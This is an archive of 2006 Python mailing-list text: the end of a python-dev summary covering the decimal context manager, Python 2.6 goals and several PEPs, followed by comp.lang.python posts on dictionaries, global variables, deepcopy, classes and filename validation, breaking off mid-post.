--------------------------------------- Raymond Hettinger pointed out that the updates to the decimal module to take advantage of the ``with``-statement differed dramatically from `PEP 343`_ and were misdocumented in a number of places. Nick Coghlan explained that the API was a result of the introduction and then later removal of the ``__context__`` method. After some discussion, Raymond convinced everyone to change the API from:: with decimal.getcontext().copy().get_manager() as ctx: ... to the simpler API originally introduced in `PEP 343`_:: with decimal.localcontext() as ctx: ... As a result of the changes needed to fix this API, Anthony Baxter decided that another release candidate was necessary before Python 2.5 final could be released. .. _PEP 343: http://www.python.org/dev/peps/pep-0343/ Contributing thread: - `Py2.5 issue: decimal context manager misimplemented, misdesigned, and misdocumented `__ ---------------------------- Python 2.6 development goals ---------------------------- Guido suggested that since Python 3.0 is now being developed in parallel with the 2.X trunk, the major work for Python 2.6 should be in making the transition to Python 3.0 as smooth as possible. This meant: * Adding warnings (suppressed by default) for code incompatible with Python 3.0. * Making all Python 2.X library code as Python 3.0-compatible as possible. * Converting all unittests to unittest or doctest format. Brett Cannon suggested adding to this list: * Improving tests and classifying them better * Updating and improving the documentation In general, people seemed to think this was a pretty good approach, particularly as it would address some of the complaints about the speed of addition of new features to Python. The discussion then moved off to the `python-3000 list`_. .. _python-3000 list: http://mail.python.org/mailman/listinfo/python-3000 Contributing threads: - `What should the focus for 2.6 be? `__ - `[Python-3000] What should the focus for 2.6 be? `__ ----------------------- Python 2.5, VC8 and PGO ----------------------- Muguntharaj Subramanian asked about building Python 2.5 with the VC8 compiler. Christopher Baus had recently provided a few patches to get the VC8 build working better and Kristjan V. Jonsson said that he's working on updating the PCBuild8 directory in the trunk in a number of ways, including better support for profile-guided optimization (PGO) builds. He said once he got everything working right, he'd backport to Python 2.5. Contributing threads: - `Failed building 2.5rc1 pythoncore on VC8 `__ - `patch to add socket module project to vc8 solution `__ - `Error while building 2.5rc1 pythoncore_pgo on VC8 `__ ---------------------------------------------- PEP 342: using return instead of GeneratorExit ---------------------------------------------- Igor Bukanov suggested that the GeneratorExit exception introduced by `PEP 342`_ could be eliminated by replacing it with the semantics of the ``return`` statement. This would allow code like the following, which under the GeneratorExit paradigm would execute the ``except`` clause, to only execute the ``finally`` clause:: def gen(): try: yield 0 except Exception: print "Unexpected exception!" finally: print "Finally" for i in gen(): print i break Phillip J. Eby and others liked the approach, but suggested that it was much too late in the release process to be making such a major language change. Guido was open to making a change like this, perhaps in Python 3.0, but wanted the new generator enhancements to have some time in the field to see what was really needed here. .. _PEP 342: http://www.python.org/dev/peps/pep-0342/ Contributing thread: - `GeneratorExit is unintuitive and uneccessary `__ ------------------------------------------ String formatting, __str__ and __unicode__ ------------------------------------------ John J Lee noticed that in Python 2.5, the ``%s`` format specifier calls ``__unicode__`` on objects if their ``__str__`` method returns a unicode object:: >>> class a(object): ... def __str__(self): ... print '__str__' ... return u'str' ... def __unicode__(self): ... print '__unicode__' ... return u'unicode' ... >>> '%s%s' % (a(), a()) __str__ __unicode__ __unicode__ u'unicodeunicode' Nick Coghlan explained that string formatting first tries to build and return a str object, but starts over if any of the objects to be formatted by the ``%s`` specifier are unicode. So if a ``__str__`` method is called during string formatting and it returns a unicode object, Python will decide that the string formatting operation needs to return a unicode object, and will therefore start over, calling the ``__unicode__`` methods. Nick promised to look into making the documentation for this a bit clearer. Contributing thread: - `String formatting / unicode 2.5 bug? `__ ------------------------- Optimizing global lookups ------------------------- K.S. Sreeram asked about replacing the current LOAD_GLOBAL dict lookup with an array indexing along the lines of what is done for local names. Brett Cannon explained that globals can be altered from the outside, e.g. ``import mod; mod.name = value``, and thus globals aren't necessarily known at compile time. Tim Peters pointed out that a number of PEPs have been written in this area of optimization, with `PEP 280`_ being a good place to start. Most people were not opposed to the idea in general, but without an implementation to benchmark, there wasn't really much to discuss. .. _PEP 280: http://www.python.org/dev/peps/pep-0280/ Contributing thread: - `Can LOAD_GLOBAL be optimized to a simple array lookup? `__ --------------------- ElementTree and PEP 8 --------------------- Greg Ewing asked about changing the ElementTree names to be more `PEP 8`_ compliant. Being that Python was already in the release candidate stage for Python 2.5, this was not possible. Even had the issue been raised earlier, such a change would have been unlikely, as it would have discouraged people who needed some backward compatibility from using the version in the stdlib. .. _PEP 8: http://www.python.org/dev/peps/pep-0008/ Contributing thread: - `Doc suggestion for Elementtree (for 2.5? a bit late, I know...) `__ -------- rslice() -------- Nick Coghlan suggested that since reversing slices could be somewhat complicated, e.g. ``(stop - 1) % abs(step) : start - 1 : -step``, it would be helpful to introduce a ``rslice()`` builtin so that this could be written ``rslice(start, stop, step)``. Most people felt that this was unnecessary and didn't gain much over using ``reversed()`` on the sliced sequence. Contributing thread: - `Adding an rslice() builtin? `__ ---------------------------------- PEP 362: Function Signature Object ---------------------------------- Brett Cannon spent his time at the Google sprint working on `PEP 362`_, which introduces a signature object for functions to describe what arguments they take. He asked for some feedback on two points: * Should the signature object be an attribute on all functions or should it be requested through the inspect module? * Should the dict returned by ``Signature.bind()`` key by name or by a tuple of names for argument lists like ``def f((a, b)):``? After some pretty minimal feedback, he posted the `latest version of the patch`_. .. _PEP 362: http://www.python.org/dev/peps/pep-0362/ .. _latest version of the patch: http://bugs.python.org/1544909 Contributing threads: - `[Python-checkins] r51458 - peps/trunk/pep-0000.txt peps/trunk/pep-0362.txt `__ - `PEP 362 open issues `__ ---------------------------------------- Warn about mixing tabs and spaces in 2.6 ---------------------------------------- Thomas Wouters suggested making the ``-t`` flag the default in Python 2.6. This would make Python always issue warnings if users mixed tabs and spaces. People generally seemed in favor of the idea. Contributing thread: - `Making 'python -t' the default. `__ --------------------- xrange() and non-ints --------------------- Neal Norwitz was playing around with some patches that would allow ``xrange`` in Python 2.6 to accept longs or objects with an ``__index__`` method instead of just ints as it does now. He looked at two Python implementations, a Python-C hybrid implementation and a C implementation, and found that for his benchmark, the Python-C hybrid was as good as the C implementation. People suggested that the benchmark wasn't testing function call overhead well enough, and the pure C implementation was probably still the way to go. Contributing thread: - `xrange accepting non-ints `__ ------------------------------------ Cleanup tasks and the logging module ------------------------------------ The logging module currently maintains compatibility back to 1.5. Guido suggested (and Vinay approved) modernizing it to at least 2.2. The SimpleTodo_ wiki lists other useful cleanup tasks. .. _SimpleTodo: http://wiki.python.org/moin/SimpleTodo Contributing thread: - `Removing anachronisms from logging module `__ [Thanks to Jim Jewett for this summary] --------------------------- The purpose of test_mutants --------------------------- test_mutants started to fail in the Python 3 branch, and Guido wasn't sure what it was *supposed* to do. Tim Peters said it was supposed to not crash, and is there because of previous refcount bugs. `Guido patched another`_ that it exposed. .. _Guido patched another: http://bugs.python.org/1546288 Contributing thread: - `Need help with test_mutants.py `__ [Thanks to Jim Jewett for this summary] ================ Deferred Threads ================ - `Interest in a Python 2.3.6? `__ - `That library reference, yet again `__ ================== Previous Summaries ================== - `no remaining issues blocking 2.5 release `__ =============== Skipped Threads =============== - `IDLE patches - bugfix or not? `__ - `TRUNK FREEZE for 2.5c1, 00:00 UTC, Thursday 17th August `__ - `Weekly Python Patch/Bug Summary `__ - `Benchmarking the int allocator (Was: Type of range object members) `__ - `2.5: recently introduced sgmllib regexp bug hangs Python `__ - `[wwwsearch-general] 2.5: recently introduced sgmllib regexp bug hangs Python `__ - `recently introduced sgmllib regexp bughangs Python `__ - `RELEASED Python 2.5 (release candidate 1) `__ - `TRUNK IS UNFROZEN, available for 2.6 work if you are so inclined `__ - `[Python-checkins] TRUNK IS UNFROZEN, available for 2.6 work if you are so inclined `__ - `Fixing 2.5 windows buildbots `__ - `uuid tests failing on Windows `__ - `Sprints next week at Google `__ - `__del__ unexpectedly being called twice `__ - `How does this help? Re: [Python-checkins] r51366 - python/trunk/Lib/idlelib/NEWS.txt python/trunk/Lib/idlelib/idlever.py `__ - `One-line fix for urllib2 regression `__ - `os.spawnlp() missing on Windows in 2.4? `__ - `Questions on unittest behaviour `__ - `[Python-checkins] How does this help? Re: r51366 - python/trunk/Lib/idlelib/NEWS.txt python/trunk/Lib/idlelib/idlever.py `__ - `SSH Key Added `__ - `uuid module - byte order issue `__ - `A cast from Py_ssize_t to long `__ - `Python + Java Integration `__ - `[4suite] cDomlette deallocation bug? `__ - `[Python-checkins] r51525 - in python/trunk: Lib/test/test_float.py Objects/floatobject.c `__ - `for 2.5 issues `__ - `Need help with test_mutants.py `__ - `zip -> izip; is __length_hint__ required? `__ - `Removing anachronisms from logging module `__ - `distutils patch `__ - `32-bit and 64-bit python on Solaris `__ - `Small Py3k task: fix modulefinder.py `__ - `Windows build slave downtime `__ ======== Epilogue ======== This is a summary of traffic on the `python-dev mailing list`_ from August 16, 2006 through August 31, 2006. It is intended to inform the wider Python community of on-going developments on the list on a semi-monthly basis. An archive_ of previous summaries is available online. An `RSS feed`_ of the titles of the summaries is available. You can also watch comp.lang.python or comp.lang.python.announce for new summaries (or through their email gateways of python-list or python-announce, respectively, as found at http://mail.python.org). This python-dev summary is the 11th written by Steve Bethard. To contact me, please send email: - Steve Bethard (steven.bethard at gmail.com) Do *not* post to comp.lang.python if you wish to reach me. The `Python Software Foundation`_ is the non-profit organization that holds the intellectual property for Python. It also tries to advance the development and use of Python. If you find the python-dev Summary helpful please consider making a donation. You can make a donation at http://python.org/psf/donations.html . Every cent counts so even a small donation with a credit card, check, or by PayPal helps. -------------------- Commenting on Topics -------------------- To comment on anything mentioned here, just post to `comp.lang.python`_ (or email python-list at python.org which is a gateway to the newsgroup) with a subject line mentioning what you are discussing. All python-dev members are interested in seeing ideas discussed by the community, so don't hesitate to take a stance on something. And if all of this really interests you then get involved and join `python-dev`_! ------------------------- How to Read the Summaries ------------------------- This summary is written using reStructuredText_. Any unfamiliar punctuation is probably markup for reST_ (otherwise it is probably regular expression syntax or a typo :); you can safely ignore it. We do suggest learning reST, though; it's simple and is accepted for `PEP markup`_ and can be turned into many different formats like HTML and LaTeX. .. _python-dev: http://www.python.org/dev/ .. _python-dev mailing list: http://mail.python.org/mailman/listinfo/python-dev .. _comp.lang.python: http://groups.google.com/groups?q=comp.lang.python .. _PEP Markup: http://www.python.org/peps/pep-0012.html .. _reST: .. _reStructuredText: http://docutils.sf.net/rst.html .. _Python Software Foundation: http://python.org/psf/ .. _archive: http://www.python.org/dev/summary/ .. _RSS feed: http://www.python.org/dev/summary/channews.rdf From jstroud at mbi.ucla.edu Tue Oct 24 23:36:02 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Wed, 25 Oct 2006 03:36:02 GMT Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: Ben Finney wrote: > pretoriano_2001 at hotmail.com writes: > > >>I have next dictionaries: >>a={'a':0, 'b':1, 'c':2, 'd':3} >>b={'a':0, 'c':1, 'd':2, 'e':3} >>I want to put in a new dictionary named c all the keys that are in b >>and re-sequence the values. > > > They never had a sequence, so you can't "re-sequence" them. > > You have not, perhaps, worked your way through the Python > tutorial. It's quite comprehensive and will give you a good grounding > in the basic concepts. > > > The values in the example are sequentially ordered wrt the keys, which is perhaps what the OP intends. c = dict(((k,v) for (v,k) in enumerate(x for x in sorted(a.keys()) if b.has_key(x)))) But, yes, there is decided ambiguity in his description of the problem. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From orsenthil at gmail.com Thu Oct 12 13:44:00 2006 From: orsenthil at gmail.com (Phoe6) Date: 12 Oct 2006 10:44:00 -0700 Subject: strings in the global section Message-ID: <1160675040.806545.7620@i3g2000cwc.googlegroups.com> I write a script: #!/usr/bin/python astring = "This is a String" def fun1(): astring = "I modify it in fun1" def fun2(): astring = "I modify it in fun2" def main(): print astring fun1() print astring fun2() print astring if __name__ == '__main__': main() ~ ~ And I am expecting the output to be: This is a String I modify it in fun1 I modify it in fun2 But it is not so. It always prints This is a String. astring declared outside all the functions, is not in global section and values be overwritten by functions accessing it? - How is this working? - What should I do to overwrite the string variable in the global section within functions? Thanks, Senthil From gerrit at nl.linux.org Fri Oct 6 03:40:27 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Fri, 6 Oct 2006 09:40:27 +0200 Subject: printing variables In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> Message-ID: <20061006074027.GA21202@topjaklont.student.utwente.nl> On 2006-10-06 04:50:33 +0200, s99999999s2003 at yahoo.com wrote: > say i have variables like these > > var1 = "blah" > var2 = "blahblah" > var3 = "blahblahblah" > var4 = "...." > var5 = "...".. > > bcos all the variable names start with "var", is there a way to > conveniently print those variables out... > eg print var* ?? > i don't want to do : > > print var1, var2, var3, var4 ......etc... Don't do this: >>> import fnmatch >>> var1, var2, var3 = "foo", "bar", "baz" >>> for k in fnmatch.filter(locals(), "var*"): ... print locals()[k] ... foo baz bar This is evil. It's unpythonic. This is yet another way to do it - QED. Gerrit. From liquidsnk at gmail.com Mon Oct 9 20:15:17 2006 From: liquidsnk at gmail.com (Liquid Snake) Date: Mon, 9 Oct 2006 21:15:17 -0300 Subject: doesNotUnderstand? Message-ID: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.com> Hello :). Some days ago i went to a seminar about Metaprograming and Reflection. I was a little famirialized with the subject, and wanted to explore it further. The seminar was great, but the point is that every example was programmed in smalltalk. I know smalltalk, and never have much use for the doesNotUnderstand method until the guys at the conference open my eyes with some examples. Altough i have applied concepts of reflection in python many times, i think i't will be nice to have a magic method that works like doesNotUnderstand for some purposes. The reason i'm writing is because i want to know if such method already exists... or maybe... if you think having one it's a good/possible idea. Right now... im thinkng i really can emulate that behavior using Exceptions..., and i really think that's what SmallTalk kind of do under-the-hood (dont flame me if i'm terribly worng plz). But i still want to know if theres a method like __insertMethodNameHere__ that does it for me... or if you think it's a nice thing to have... i'm REALLY SORRY for my REALLY BAD English... so..., don't hate me please.. And I'm sorry if this question wasted your time. Thanks anyway.. liquid ^.^ -------------- next part -------------- An HTML attachment was scrubbed... URL: From theller at ctypes.org Tue Oct 24 04:06:59 2006 From: theller at ctypes.org (Thomas Heller) Date: Tue, 24 Oct 2006 10:06:59 +0200 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: <87lkn6qh6q.fsf@benfinney.id.au> References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <021801c6f734$cb375900$03000080@hendrik> <87lkn6qh6q.fsf@benfinney.id.au> Message-ID: <453DC9A3.50903@ctypes.org> Ben Finney schrieb: > "Hendrik van Rooyen" writes: > > [quoting problems fixed] > >> "Fredrik Lundh" wrote: >> > some days, I ask myself why I shouldn't just use GPL for >> > everything I do, and ship it as source code only. >> >> because then you would deny your work to thousands of ungrateful, >> unmotivated lazy buggers like me... > > Not necessarily. All it needs is one person (with the same platform > you want to use) to take the source, build it for that platform, and > make it available. All the other "ungrateful, unmotivated lazy > buggers" can then take advantage of that -- and reward the person with > whatever praise they require :-) > I wonder if it would be possible to setup a windows box which provides a (web-)service that allows to build Python packages. Any ideas how this could be made secure? Thomas From fredrik at pythonware.com Wed Oct 25 04:02:32 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 10:02:32 +0200 Subject: python GUIs comparison (want) In-Reply-To: <453f16e5$0$28552$426a74cc@news.free.fr> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453f16e5$0$28552$426a74cc@news.free.fr> Message-ID: Christophe wrote: >>>> commercial deployment is expensive; free deployment must be GPL; >>> >>> Opinions differ on the first one of these. >> even if you define "expensive" as "costs more money than the others" ? > > Even if you consider that the huge time saving you get out of using Qt > is worth more than what you pay to acquire a licence? then it sounds like a combination between "it's a silver bullet!" and "commercial software is better than free software!". no matter how good Qt is, the reality is that if you spend that much time on the UI implementation parts of your project, you're probably developing at the wrong abstraction level -- no matter what toolkit you're using. and if you're doing UI development the wrong way, chances are that you're doing other things the wrong way too. From kent at kentsjohnson.com Tue Oct 17 09:33:56 2006 From: kent at kentsjohnson.com (Kent Johnson) Date: Tue, 17 Oct 2006 13:33:56 GMT Subject: Book about database application development? In-Reply-To: <0001HW.C159B10900A0DF8AF0407530@news.individual.de> References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> <453352d4$0$12918$426a34cc@news.free.fr> <0001HW.C159B10900A0DF8AF0407530@news.individual.de> Message-ID: <8Z4Zg.6659$5i7.274@newsreading01.news.tds.net> Wolfgang Keller wrote: > I know about the existence of MVC. But what I'm actually missing is a nice > textbook that teaches how to actually implement it (and other design patterns > which are useful for database applications) in a real-world application in a > way that leads to non-ridiculous behaviour of the resulting application when > it gets actually used. Maybe you would like Martin Fowler's "Patterns of Enterprise Application Architecture" http://martinfowler.com/books.html#eaa > Preferrably using a language for the examples that's readable for someone who > has learned programming ages ago with Pascal and is now using Python because > he _hates_ everything that remotely ressembles to any mutation of > C(++/#/Java). Examples are mostly Java and C#, sorry! Kent From will at willNOmcguganSPAM.com Thu Oct 12 07:19:37 2006 From: will at willNOmcguganSPAM.com (Will McGugan) Date: Thu, 12 Oct 2006 12:19:37 +0100 Subject: Alternative constructors naming convention In-Reply-To: References: <1160564942.565119.226780@m7g2000cwm.googlegroups.com> Message-ID: <452e24d2$0$1393$da0feed9@news.zen.co.uk> Steven Bethard wrote: > Are you really using staticmethod and calling __new__? It's often much > easier to use classmethod, e.g.:: > > class Color(object): > ... > @classmethod > def from_html(cls, r, g, b): > ... > # convert r, g, b to normal constructor args > ... > # call normal constructor > return cls(...) > I could use that for some things, but often I can avoid an intermediate step by bypassing the class constructor altogether... > And FWIW, I use lower_with_underscores for alternate constructors, not > CamelCase. Seems to be the consensus. I think I'll stick_to_it! From steve at REMOVE.THIS.cybersource.com.au Sat Oct 7 08:06:25 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 07 Oct 2006 22:06:25 +1000 Subject: error handling in user input: is this natural or just laborious References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> <1160178799.914895.28100@k70g2000cwa.googlegroups.com> <1160180341.136179.176690@b28g2000cwb.googlegroups.com> Message-ID: On Fri, 06 Oct 2006 17:19:01 -0700, sam wrote: > gosh, a lot of work to get some input. i must be missing something, > though this is a lot better than what i had before... Welcome to the real world of programming. Writing your algorithms is, generally, the easy part. Handling data input and output and the user interface is often much more work. I would suggest you factor out logically separate parts of your code something like this: done = False good_input = False while not done: while not good_input: a, b, c, d = get_user_input() # or whatever values you need good_input = validate_user_input(a, b, c, d) done = do_something_with_input(a, b, c, d) See how easy it is to understand the high level logic of the code, without getting bogged down in gory details? Now all you have to do is write functions get_user_input() etc. E.g. I might write something like this: class RangeError(ValueError): pass def validate_user_input(a, b, c, d): # assumes all of a, b, c, d are percentages data = {'a': a, 'b':b, 'c': c, 'd': d} for name, value in data: try: float(value) if not (0.0 <= value <= 100.0): raise RangeError except RangeError: # this must come first print name, "is out of range." return False except ValueError: print name, "is not a percentage." return False return True -- Steve. From david at boddie.org.uk Fri Oct 27 10:47:22 2006 From: david at boddie.org.uk (David Boddie) Date: 27 Oct 2006 07:47:22 -0700 Subject: PyQt-x11-gpl-3.16 compile error References: <1161952403.534113.59630@f16g2000cwb.googlegroups.com> Message-ID: <1161960442.301226.261210@f16g2000cwb.googlegroups.com> baur79 at gmail.com wrote: > [root at localhost PyQt-x11-gpl-3.16]# python configure.py -q > /usr/lib/qt-3.3/ > This is the GPL version of PyQt 3.16 (licensed under the GNU General > Public > License) for Python 2.4.2 on linux2. [...] > Creating features file... > Error: Unable to build mkfeatures utility. Can you run the configure.py script again with the -w option as well as the others you specified, then post the output here? David From hanumizzle at gmail.com Wed Oct 11 04:37:48 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 04:37:48 -0400 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <452cab5d$0$5294$426a74cc@news.free.fr> References: <452cab5d$0$5294$426a74cc@news.free.fr> Message-ID: <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> On 10/11/06, Bruno Desthuilliers wrote: > Now the real question : what if the object is not an instance of any of > the types, but still support the expected interface ? Perhaps: try: for attribute in ['foo', 'bar', '__baz__']: getattr(mystery_object, '__%s__' % attribute) except AttributeError: # Do sumthin bout it Is it wrong to 're-raise' an exception with application-specific details within an except clause? -- Theerasak From bjobrien62 at gmail.com Mon Oct 30 19:23:11 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 30 Oct 2006 16:23:11 -0800 Subject: scared about refrences... In-Reply-To: References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> <1162248250.994200.13450@m7g2000cwm.googlegroups.com> Message-ID: <1162254191.507805.276640@k70g2000cwa.googlegroups.com> J. Clifford Dyer wrote: > SpreadTooThin wrote: > > Steven D'Aprano wrote: > >> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote: > >> > >>>>> How do I specify or create deep copies of objects that may contain > >>>>> other objects that may contain other object that may contain other > >>>>> objects.... > >>>> See the `copy` module especially `copy.deepcopy()`. > >>>> > >>> This appears to be the right thing to do to me.. (but what do I know?) > >> Yes, copy.deepcopy() is the thing you want. > >> > >> But remember Fredrik's advice that well-designed Python code should not > >> need to copy data structures often. I don't think I've ever needed to use > >> deepcopy, and rarely copy.copy(). > >> > >> In general, functions should not modify their caller's data. So this is > >> bad practice: > >> > >> def print_list(alist): > >> """Print a sorted list""" > >> alist.sort() # modifies the caller's data -- bad! > >> for index, value in enumerate: > >> print "Value %s at index %d" % (index, value) > >> > >> This is better: > >> > >> def print_list(alist): > >> """Print a sorted list""" > >> alist = alist[:] # makes a local shallow copy of the list > >> alist.sort() # safe to modify now > >> for index, value in enumerate: > >> print "Value %s at index %d" % (index, value) > >> > >> But notice that you only need a shallow copy, not a deep copy, because you > >> aren't modifying the objects within the list, only the list itself. > >> > >> > >> > >>> I tried this which more closely resembles my project but this doesn't > >>> work: > >> Unfortunately my crystal ball is back at the shop being repaired, so > >> you'll have to explain what "doesn't work" means in this case. Does it > >> raise an exception? If so, please post the exception. Does it do something > >> different from what you expected? Then what did you expect, and what did > >> it do? > >> > > I seems that some of the objects in the list don't get along well with > > deep copy.. > > See my second example post that used deepcopy... When run blows up... > > > When it blows up, is there a lot of shrapnel, or just smoke and fire? > Is the shrapnel mostly metal, or is it plastic and glass? > > In short, if we don't know what's happening, we can't help. > * Did the program spit out a bunch of text you didn't understand? > If so, show us the text. That text may be incomprehensible at first, > but it contains crucial clues. > > * Did it close your python window without a word? > Tell us. > > * Did your computer freeze up? > Tell us. > > If you don't tell us what went wrong *exactly*, you won't get a > satisfactory answer. > I would assume that looking at the code you should be able to tell.. Silly me.. Here.. is the log.. If I were helping.. I would have cut and pasted the code myself and ran it.. instead of trying to interpret this... array('H', [1, 2, 3]) ['a', 'b', 'c'] Traceback (most recent call last): File "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py", line 1806, in runMain self.dbg.runfile(debug_args[0], debug_args) File "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py", line 1529, in runfile h_execfile(file, args, module=main, tracer=self) File "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py", line 590, in __init__ execfile(file, globals, locals) File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py", line 20, in __main__ test(t) File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py", line 16, in test t = copy.deepcopy(x) File "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", line 174, in deepcopy y = copier(x, memo) File "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", line 305, in _deepcopy_inst state = deepcopy(state, memo) File "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", line 174, in deepcopy y = copier(x, memo) File "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", line 268, in _deepcopy_dict y[deepcopy(key, memo)] = deepcopy(value, memo) File "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py", line 185, in deepcopy y = copier(x, memo) TypeError: __deepcopy__() takes no arguments (1 given) > Cheers, > Cliff From onurb at xiludom.gro Fri Oct 20 05:17:30 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 20 Oct 2006 11:17:30 +0200 Subject: help with my first use of a class In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> Message-ID: <4538942b$0$31252$426a74cc@news.free.fr> BartlebyScrivener wrote: > I am a mere hobbyist. Spent several hours trying to make a class, > because I think this is an occasion where I need one. But I can't make > it work. > > This code "works" (only because of the global c, which I know I'm > supposed to avoid, by using a Class). I edited the rest to leave out > the irrelevant formatting and printing of the quotations. > > I've read about Classes several times, but I don't "get" them yet. Think of a class as both a "blueprint" for objects and a factory creating these objects. The class lets you define the attributes and behaviors of it's instances. > Obviously. If I can solve one real life problem like this, then maybe > I'll see the light. > > If I understand the power of Classes correctly, I could make one that > would allow me to make a new instance that would connect to, say, an > SQLite3 db instead of the Access db, as well as to create more methods > that will do different SQL searches. > Thank you for any help, > > > import mx.ODBC.Windows as odbc > import sys > import random > > def connect(): > global c > db='DSN=Quotations' > conn = odbc.DriverConnect(db) > c = conn.cursor() > > def random_quote(): > """ > Counts all of the quotes in MS Access database Quotations2005.mdb. > Picks one quote at random and displays it using textwrap. > """ > c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") > # Yields the number of rows with something in the quote field > total_quotes = c.fetchone() > # Get a random number somewhere between 1 and the number of total > quotes > quote_number = (random.randint(1, total_quotes[0]),) > # Select a quote where the ID matches that number > c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?", > quote_number) > quote = c.fetchone() > blah blah blah > > def print_quote() > code to format and print the quote (which will also have to be > global, unless I learn Classes!) > Ever wondered what arguments and return values were for ?-) > if __name__ == '__main__': > if len(sys.argv) == 1: > connect() > random_quote() > print_quote() > First, notice that you *don't* need a class here to avoid globals. Learning to use function as *functions* (ie: taking arguments and returning values) instead of procedure would help: def random_quote(cursor): c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") total_quotes = c.fetchone() quote_number = (random.randint(1, total_quotes[0]),) c.execute ( "SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?", quote_number ) return c.fetchone() def format_quote(quote): # code here return formatted_quote def main(*args): if len(args) < 2: print >> sys.stderr, "Missing dsn arg\nusage : %s dsn" % args[0] return 1 dsn = args[1] try: conn = odbc.DriverConnect(dsn) except , e: print >> sys.stderr "Cannot connect to %s : %s" % (dsn, e) return 1 quote = random_quote(conn.cursor()) print format_quote(quote) conn.close() return 0 if __name__ == '__main__': sys.exit(main(*sys.argv)) Now for an OO version - that won't buy you much IMHO: class SQLFortune(object): def __init__(self, dsn): self._dsn = dsn self._cnx = None @apply def connection(): def fget(self): if self._cnx is None: self._cnx = odbc.DriverConnect(self.dsn) return self._cnx def fset(self, _): raise AttributeError("Attribute is read-only") return property(**locals()) def random_quote(self): c = self.connection.cursor() c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") total_quotes = c.fetchone() quote_number = (random.randint(1, total_quotes[0]),) c.execute ( "SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?", quote_number ) return c.fetchone() def format_quote(self, quote): # code here return formatted_quote def close(self): try: self._cnx.close() except: pass def main(*args): if len(args) < 2: print >> sys.stderr, "Missing dsn arg\nusage : %s dsn" % args[0] return 1 dsn = args[1] fortune = SQLFortune(dsn) print fortune.format_quote(fortune.random_quote()) fortune.close() return 0 if __name__ == '__main__': sys.exit(main(*sys.argv)) -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From python.list at tim.thechases.com Tue Oct 17 13:50:58 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 17 Oct 2006 12:50:58 -0500 Subject: making a valid file name... In-Reply-To: References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> Message-ID: <45351802.5090107@tim.thechases.com> >> If you're doing it on a time-critical basis, it might help to >> make "valid" a set, which should have O(1) membership testing, >> rather than using the "in" test with a string. I don't know >> how well the find() method of a string performs in relationship >> to "in" testing of a set. Test and see, if it's important. > > The find method of (8-bit) strings is really, really fast. My > guess is that set can't beat it. I tried to beat it recently with > a binary search function. Even after applying psyco find was > still faster (though I could beat the bisect functions by a > little bit by replacing a divide with a shift). In "theory" (you know...that little town in west Texas where everything goes right), a set-membership test should be O(1). A binary search function would be O(log N). A linear search of a string for a member should be O(N). In practice, however, for such small strings as the given whitelist, the underlying find() operation likely doesn't put a blip on the radar. If your whitelist were some huge document that you were searching repeatedly, it could have worse performance. Additionally, the find() in the underlying C code is likely about as bare-metal as it gets, whereas the set membership aspect of things may go through some more convoluted setup/teardown/hashing and spend a lot more time further from the processor's op-codes. And I know that a number of folks have done some hefty optimization of Python's string-handling abilities. There's likely a tradeoff point where it's better to use one over the other depending on the size of the whitelist. YMMV -tkc From steve at REMOVE.THIS.cybersource.com.au Mon Oct 16 10:51:15 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Tue, 17 Oct 2006 00:51:15 +1000 Subject: Strange Behavior References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> Message-ID: On Mon, 16 Oct 2006 07:26:05 -0700, abcd wrote: > class 